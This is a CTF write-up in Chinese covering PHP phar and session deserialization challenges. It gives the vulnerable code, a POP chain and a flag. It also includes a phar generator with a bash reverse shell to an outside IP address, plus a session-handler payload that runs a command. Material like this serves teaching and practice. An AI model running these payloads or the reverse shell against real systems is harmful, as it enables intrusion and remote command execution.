phar 反序列化

  1. 可以上传文件
  2. 可以读取文件
  3. 读取文件时,未对路径和协议进行过滤

P8

task.php

<!--
<?php

highlight_file(__FILE__);

class A {
public $a;

public function __construct($a)
{
$this->a = $a;
}

public function __destruct()
{
echo "NSSCTF".$this->a;
}
}

class B {
public $b;

public function __construct($b)
{
$this->b = $b;
}

public function __toString()
{
return eval($this->b);
}
}

if(isset($_FILES['file'])) {
@mkdir("upload");
$uuid = uniqid();
move_uploaded_file($_FILES['file']['tmp_name'], "upload/".$uuid.".txt");
echo "Upload Success! FilePath: upload/".$uuid.".txt";
}

if(isset($_GET['file'])) {
if(strstr($_GET['file'], "flag")) { // flag in env
die("Get out!");
}
echo file_get_contents($_GET['file']);
}
?>

解题思路

POC链构造:

A::destruct() B::toString() B::eval

NSSCTF{1f668815-b686-439e-918b-354615070a07}

生成phar文件:

<?php
class A {
public $a;
}
class B {
public $b;
}
$a = new A();
$a->a = new B();
$a->a->b = "system(\"bash -c '(exec bash -i &>/dev/tcp/91.219.215.229/31114 0>&1) &'\");";

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成phar文件,上传后访问

http://node4.anna.nssctf.cn:28621/?file=phar://upload/65e835f244c3a.txt

Session 反序列化

index.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
highlight_file(__FILE__);
$_SESSION["name"] = $_GET["a"];

// next index2.php

index2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
highlight_file(__FILE__);
class NSS
{
public $ctf;
function __construct()
{
$this->ctf = 'dir';
}

function __destruct()
{
system($this->ctf);
}
}

可以发现两个界面序列化的方式不同,index.php当中采用的是php_serialize,index2.php当中采用的是php.针对这种情况适用session反序列化。

payload

?a=a:1:{s:4:"name";s:38:"|O:3:"NSS":1:{s:3:"ctf";s:3:"env";}";

解释,这个|会把整个payload分割为两个部分,|前的一部分作为数组的键名,|之后的部分作为数组的键值,数组的键值会被反序列化执行我们的命令。